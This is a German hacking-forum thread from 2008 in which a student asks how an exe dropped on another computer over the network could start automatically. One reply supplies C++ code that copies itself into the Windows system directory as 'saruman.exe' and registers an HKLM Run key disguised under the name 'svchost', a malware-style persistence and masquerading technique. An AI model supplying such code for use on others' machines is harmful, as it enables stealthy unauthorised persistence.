Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Code Kitchen Allgemeines Coder-Forum rund um das Programmieren eigenständiger, ausführbarer Programme.

Programm automatisch starten!

Diskussion: Programm automatisch starten! im Forum Code Kitchen, in der Kategorie Software Home; Anzeige Hallo, also ich lerne gerade in der Schule c++ und wir haben da nun ne exe geschrieben in der ...

Antwort
Alt 21.01.08, 09:32   #1 (permalink)
 
Registriert seit: 19.01.08
Argre Leistung: Facit NTK
Likes: 0
Standard Programm automatisch starten!

Anzeige

Hallo,
also ich lerne gerade in der Schule c++ und wir haben da nun ne exe geschrieben in der im cmd Fenster ein Hallo Welt kommt :).
Ok das war ja no ned so schwer, nun hat der Lehrer gsagt:
- Übers Netzwerk sollen wir die exe auf einen bestimmten Computer geben, ok also:
--> Ausführe, \\ip, ordner is da, rein damit.

So das war noch ned so schwer.
Und dann sagte er wir sollen uns Gedanken darüber machen wie und ob es überhaupt möglich is, dass diese dann automatisch startet.
Naja ich denk ma Viren und so starten ja auch automatisch, aber ka wie das gehn kann, gibts da vielleicht nen Tutorial oder so?

Danke für eure Hilfe :).

mfg,
Argre

Argre ist offline   Mit Zitat antworten
Alt 21.01.08, 15:17   #2 (permalink)
 
Registriert seit: 17.01.08
]=-antr4xx-=[ Leistung: Facit NTK
]=-antr4xx-=[ eine Nachricht über ICQ schicken
Likes: 0
Standard

Die Anwending kann sich doch in den Autostart schreiben, hier ein Beispiel:

Code:
int test_key()
{
     char system_path[1000], *full_path;
     HKEY hkey;
     int check, test, reg_key;
     char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
     

     
     test = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE, &hkey);
     
     if(test != ERROR_SUCCESS)
     {
             check = 1;
             return check;
     }
     
     /*
     ERROR_MORE_DATA       234L
     ERROR_SUCCESS         0L
     ERROR_FILE_NOT_FOUND  2L
     */
     
     reg_key=RegQueryValueEx(hkey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=ERROR_SUCCESS)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==ERROR_SUCCESS)
        check=0;
         
    RegCloseKey(hkey);
    return check;   
     
}

int create_key()
{
    int reg_key, check;
    HKEY hkey;

     char  *path, system[255], current[255];
    
     GetSystemDirectory(system, sizeof(system));
     path = strcat(system, "\\saruman.exe");
     GetModuleFileName(NULL, current, sizeof(current));
     CopyFile(current, path, 0);  
     
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
                
        return check;
}
schau dir mal die win-api und speziell die registry an...
]=-antr4xx-=[ ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 21.01.08, 15:39   #3 (permalink)
 
Benutzerbild von Extinction
 
Registriert seit: 02.01.07
Extinction Leistung: Facit NTK
Likes: 0
Standard

Wann solle es das machen? Dafür muss die Datei zumindest 1 mal aufgerufen werden, damit c++ code ausgeführt werden kann. ^^
Ich glaube die Fragestellung war eher: Wie geht das, wenn ich hier an meinem PC sitze, keinen direkten Zugriff auf den Ziel-PC hab und der Ziel-PC von sich aus NICHT aktiv wird.

Ich kann mich Easyrider nur anschließen.
Extinction ist offline   Mit Zitat antworten
Alt 21.01.08, 17:56   #4 (permalink)
Senior Member
 
Registriert seit: 18.09.05
[starfoxx] Leistung: Facit NTK
Likes: 0
Standard

Noja, wenn man Hallo Welt programmiert ist es wohl etwas früh sich mit Lücken im SMB zu befassen, nicht?

Sollte die Frage gelautet haben "Wie kannst du die Datei auf deinem eigenen PC autmatisch starten lassen?" dann kopier die exe in den Autostart Ordner. Oder wenigstens eine Verknüpfung zur Datei.
[starfoxx] ist offline   Mit Zitat antworten
Alt 21.01.08, 20:15   #5 (permalink)
Themenstarter
 
Registriert seit: 19.01.08
Argre Leistung: Facit NTK
Likes: 0
Standard

Hallo,
also es war so wie Extinction schrieb:

Ich glaube die Fragestellung war eher: Wie geht das, wenn ich hier an meinem PC sitze, keinen direkten Zugriff auf den Ziel-PC hab und der Ziel-PC von sich aus NICHT aktiv wird.

Aber Danke an alle die mir gholfen haben , werde mir mal win-api und speziell die registry ansehen .

Danke!

mfg,
Argre
Argre ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Software Home » Code Kitchen » Programm automatisch starten!
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Programm automatisch im Tray starten tiggi Windows 7 27.07.05 01:19
Automatisch ein Browser im KDE Starten hallo45 Linux/UNIX 3 26.04.05 06:47
Win XP automatisch aus BIOS starten Metaforce Windows 4 17.03.05 15:52
Emule automatisch starten Andreas85 Windows 2 28.05.03 08:32
Programm automatisch mit dem Starten des iexp. starten SPaRXLi Code Kitchen 6 19.12.01 14:18


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61